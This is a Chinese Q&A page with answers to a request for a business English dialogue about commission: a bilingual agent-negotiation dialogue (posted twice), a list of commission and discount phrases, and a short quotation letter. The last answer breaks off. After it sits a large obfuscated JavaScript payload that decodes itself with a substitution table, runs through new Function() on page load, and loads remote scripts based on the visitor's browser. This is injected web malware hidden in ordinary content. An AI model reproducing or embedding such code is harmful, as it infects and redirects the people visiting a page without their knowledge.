急求一篇关于commission的商务英语对话

很急 谢谢了 加财富哦
2024-11-03 03:11:16
推荐回答(5个)
回答1:

A: Hello, Mr. Kubat. I am glad to meet you here at the fair.

你好,Kubat先生,很高兴在交易会上见到你。

B: Likewise. Take a seat, please. How about a cup of tea?

我也很高兴。请坐,喝杯茶好吗?

A: Sure. Thank you. It seems your business is prosperous. There are many customers here.

好,谢谢。看起来生意很兴旺,这么多客户光临。

B: Yes, it's not too bad. Our sales are going up year after year. And we still have a large potential production capacity.

是的,还可以。销量年年递增,我们的生产潜力还很大。

A: Well, what do you think of choosing a commission representative or agent abroad to promote your sales?

哦,你们是否想在国外选择一家代办商或代理人为你们推销产品?

B: That's a good idea. So far, we have several agents abroad.

这个主意不错。不过,目前我们在国外已有几家代理人。

A: We are willing to be your agent in Thailand for hand-held tools. What do you think?

我们愿意在泰国做你方的手工工具代理人。不知你们意下如何?

B: That sounds good.

听起来不错。

A: Then, what's your usual commission rate for your agents?

那么,你们通常给代理人的佣金率是多少?

B: Usually, we give a commission of 3% to our agents.

通常给百分之三。

A: 3% is too low, I think. You see, we have a lot of work to do in sales promotion such as advertising on radio or TV, printing booklets, leaflets, catalogues and so on. It all costs money. 3% is not enough.

我认为百分之三太低了。你知道,为了推销你方的产品,我们要做很多工作。比如,在电台或电视上做广告,印刷小册子、传单和商品目录等。这一切花销,百分之三是不够的。

B: Don't worry. We'll allow you a higher commission rate if your sales score a substantial increase.

别担心,如果你们的销量大幅度增长,我们会给予更高的佣金。

A: You mean to say…

您的意思是……

B: Now, if you sell US$ 2 million worth of hand-held tools annually, we can only allow 3% commission. If the annual turnover exceeds US$ 5 million, you can get 5% commission. What do you think of that?

如你方手工工具的年销量为二百万美元,我们只能给百分之三的佣金。如果年销量超过五百万美元,你就可得到百分之五的佣金,你看如何?

A: It sounds OK. Then how do you pay the commission?

这还差不多。那么,佣金如何支付?

B: We may deduct the commission from the invoice value directly or remit it to you after payment.

我们可以直接从发票金额中扣除佣金,或在付款后汇给你方。

A: All right. If it's okay, we would like to sign an agency agreement with you immediately.

那好。如果可以,我们会与你们立即签订代理协议。

B: Think it over. We hope to keep a good business relationship with you.

好好考虑一下,我们希望与你方保持良好的贸易关系。

A: Thank you for your help.

谢谢你们的关照。

回答2:

Commission
佣金
Brief Introduction
佣金一般是中间商因介绍交易或代买商品而获取的报酬。作为中间商因其有一定的贸易渠道,所以通过其开展交易已是国际贸易中的一种普遍做法。
佣金一般来说分为:明佣和暗佣。明佣是指在合同中已明确确定下来的佣金。暗佣是指在合同中没有表明,而由双方另行约定。佣金数额的计算一般按发票金额总值,即C.I.F.价格或C.F.R.价格乘以佣金率而得。但金额较大的也有按F.O.B.净价计佣的。

Basic Expressions
A. Commission
1. Please quote us lowest price C.I.F. Los Angeles inclusive of our 5% commission, stating the earliest date of shipment.
请报洛杉矶包括我方5% 佣金在内的最低到岸价格,并告知最早的 装船日期。
2. In view of our long-standing business relationship, we would like to allow you another 2% commission for further promotion of our products.
考虑到我们之间长期的贸易关系,我们愿再给你方百分之二的佣金, 以进一步推销我们的产品。
3. We shall remit you a 5% commission of invoice value after payment is effected.
货款支付后,我们将按发票金额的百分之五汇给你方佣金。
4. We request you to deduct our commission from the invoice.
我们请求你方从发票中扣除我们的佣金。
5. Please grant us a 4% commission as a special consideration.
请特殊照顾给我们百分之四的佣金。
6. We usually pay our agents a 5% commission of the value for each deal.
通常我们支付给代理人的佣金是每笔交易达成金额的百分之五。
7. We could make an arrangement with you, not a special discount.
我方可以与你方协商,但并不是特殊折扣。
8. Moreover, when other customers get to know it, they are likely to raise questions.
而且,其他客户知道的话,他们很可能会提意见的。
9. Usually we pay commission on the basis of C.I.F. value.
我们通常按C.I.F.价格支付佣金。
10. A five-percent commission will certainly help you in pushing your sales.
百分之五的佣金肯定会有助于你们的销售。
11. From other suppliers, we get a higher commission rate for the business in this line.
对这类产品的交易,我们从其他供货者那里可得到更高的佣金。
12. We regret that we can’t allow you a 5% commission.
很抱歉,我们不能给你百分之五的佣金。
13. We will give you back a 5% commission by check.
我们将用支票支付你方百分之五的佣金。
14. We are anxious to know your usual practice in giving commission.
我们急于想知道你方付佣金的惯例。
15. I’m afraid it goes against the usual commercial practice not to allow a commission.
不给佣金恐怕有悖于商业惯例吧。
16. It’s really impossible for us to make any concession by allowing you any commission.
在给你们的佣金问题上,我们真的不可能作出任何让步。
17. As commission agents we do business on a commission basis.
作为佣金代理商,我们是以佣金为基础做生意的。
18. We wish to be your agent in our district if the commission rate is favorable.
如佣金率优惠,我们愿意做你方在我们地区的代理。
19. You may invoice the goods at contract price minus 3% commission.
你们可以按合同价格减去百分之三的佣金开发票。
20. The commission shall be paid either by means of goods covered under this contract or by check.
佣金可用合同项下的货物支付,也可用支票支付。

B. Discount
1. We give a ten percent discount for cash payment.
对于现金付款,我们给九折优惠。
2. Right now, jeans are at a discount.
现在牛仔裤打折销售。
3. We are prepared to allow you a special discount of 5% to compen- sate for the trouble we have caused.
我们准备给予你们百分之五的特别折扣,以补偿给你方所造成的不便。
4. The highest discount we can allow you on this article is 10%.
这种商品我们所能给的最高折扣是百分之十。

5. We have replaced the broken glassware. In addition, we offered the customer a 4% discount.
破碎的玻璃器皿我们已更换。另外,我们给客户百分之四的折扣。
6. We hope to enlarge our trade with your country and intend to grant you a 5% discount.
我们希望扩大与贵国的贸易,并准备给你方百分之五的折扣。
7. Having given it a further thought, we think that 5% special dis- count on price will help you enlarge your trade in Africa.
经过深入地考虑,我们认为百分之五的特别折扣将有助于你们扩大 在非洲的贸易。
8. We are prepared to allow you a special discount of 3% if your order exceeds $5,000.
如你方订单额超过五千美元,我们准备给予百分之三的特别折扣。
9. A discount can be deducted from the unit price.
折扣可从单价中扣除。
10. The 5% discount can be deducted from the L/C and after shipment we will send you a check to cover the 3% commission.

回答3:

你好,Kubat先生,很高兴在交易会上见到你。
B: Likewise. Take a seat, please. How about a cup of tea?
我也很高兴。请坐,喝杯茶好吗?

A: Sure. Thank you. It seems your business is prosperous. There are many customers here.
好,谢谢。看起来生意很兴旺,这么多客户光临。

B: Yes, it's not too bad. Our sales are going up year after year. And we still have a large potential production capacity.
是的,还可以。销量年年递增,我们的生产潜力还很大。

A: Well, what do you think of choosing a commission representative or agent abroad to promote your sales?
哦,你们是否想在国外选择一家代办商或代理人为你们推销产品?

B: That's a good idea. So far, we have several agents abroad.
这个主意不错。不过,目前我们在国外已有几家代理人。

A: We are willing to be your agent in Thailand for hand-held tools. What do you think?
我们愿意在泰国做你方的手工工具代理人。不知你们意下如何?

B: That sounds good.
听起来不错。

A: Then, what's your usual commission rate for your agents?
那么,你们通常给代理人的佣金率是多少?

B: Usually, we give a commission of 3% to our agents.
通常给百分之三。

A: 3% is too low, I think. You see, we have a lot of work to do in sales promotion such as advertising on radio or TV, printing booklets, leaflets, catalogues and so on. It all costs money. 3% is not enough.
我认为百分之三太低了。你知道,为了推销你方的产品,我们要做很多工作。比如,在电台或电视上做广告,印刷小册子、传单和商品目录等。这一切花销,百分之三是不够的。

B: Don't worry. We'll allow you a higher commission rate if your sales score a substantial increase.
别担心,如果你们的销量大幅度增长,我们会给予更高的佣金。

A: You mean to say…
您的意思是……

B: Now, if you sell US$ 2 million worth of hand-held tools annually, we can only allow 3% commission. If the annual turnover exceeds US$ 5 million, you can get 5% commission. What do you think of that?
如你方手工工具的年销量为二百万美元,我们只能给百分之三的佣金。如果年销量超过五百万美元,你就可得到百分之五的佣金,你看如何?

A: It sounds OK. Then how do you pay the commission?
这还差不多。那么,佣金如何支付?

B: We may deduct the commission from the invoice value directly or remit it to you after payment.
我们可以直接从发票金额中扣除佣金,或在付款后汇给你方。

A: All right. If it's okay, we would like to sign an agency agreement with you immediately.
那好。如果可以,我们会与你们立即签订代理协议。

B: Think it over. We hope to keep a good business relationship with you.
好好考虑一下,我们希望与你方保持良好的贸易关系。

A: Thank you for your help.
谢谢你们的关照。

回答4:

Mr johnoson,
thank you for your latter/fax on (date),we appreciate your attention to this quotation and sorry to learn that you think it is on a high side.
we would like to explan why we quotate at XX(price) for your reference. (之后罗列产品优势,最好是能区别于其他供应商的优势,包括设计或者品牌优势,能委婉暗示他的报价不符合市场价最好)as a result, you will see our quotation is fair because of its quality.
as you are one of the most important clients and we have cooperate successfully several times. we can make a commission on the transport terms.(可以根据你们能接受的一些其他条款做稍微让步,例如运输啊之类的细节)
hope you can accept our explaination and make a win-win way for a bright business future for both of us.

差不多就是四段论,既点明了不愿接受他的报价,也不是很生硬。写的仓促,有什么问题麻烦留言指教下,谢谢。

回答5:

A: Hello, Mr. Kubat. I am glad to meet you here at the fair.

你好,Kubat先生,很高兴在交易会上见到你。

B: Likewise. Take a seat, please. How about a cup of tea?

我也很高兴。请坐,喝杯茶好吗?

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();